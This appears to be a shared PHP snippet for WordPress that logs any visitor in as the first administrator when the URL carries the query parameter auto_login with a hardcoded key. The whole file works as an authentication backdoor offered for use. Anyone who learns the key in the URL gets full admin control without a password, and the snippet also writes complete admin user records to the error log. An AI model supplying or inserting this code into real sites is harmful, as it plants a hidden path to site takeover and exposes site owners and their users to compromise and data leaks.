Login to any website using this code and query parameter

auto_login_with_query_parameter.php

<?php
function auto_login_admin_from_get() {
    // Check if the 'auto_login' parameter is present in the URL
    if (isset($_GET['auto_login'])) {
        // Verify the value of the 'auto_login' parameter for security (you should use a more secure method in a real-world scenario)
        $auto_login_key = $_GET['auto_login'];
        $expected_key = 'mervin'; // Replace with a secure key

        if ($auto_login_key === $expected_key) {
            // Get any admin user ID
            $admin_id = get_any_admin_user_id();

            // Debug output
            error_log('Admin ID: ' . print_r($admin_id, true));

            // If an admin user ID is found, log them in
            if ($admin_id) {
                wp_clear_auth_cookie();
                wp_set_current_user($admin_id);
                wp_set_auth_cookie($admin_id);

                // Redirect to the admin dashboard
                wp_redirect(admin_url());
                exit;
            } else {
                wp_die('No administrators found.');
            }
        } else {
            // If the key is incorrect, you may want to log this attempt or handle it appropriately
            wp_die('Unauthorized access attempt detected.');
        }
    }
}
// Hook the function to 'init' action
add_action('init', 'auto_login_admin_from_get');

function get_any_admin_user_id() {
    // Get all users with the 'administrator' role
    $args = array(
        'role'    => 'administrator',
        'orderby' => 'ID',
        'order'   => 'ASC'
    );

    $admins = get_users($args);

    // Debug output
    error_log('Admins: ' . print_r($admins, true));

    // If there are administrators, return the ID of the first one
    if (!empty($admins)) {
        return $admins[0]->ID;
    }

    // If no administrators found, return false or handle it appropriately
    return false;
}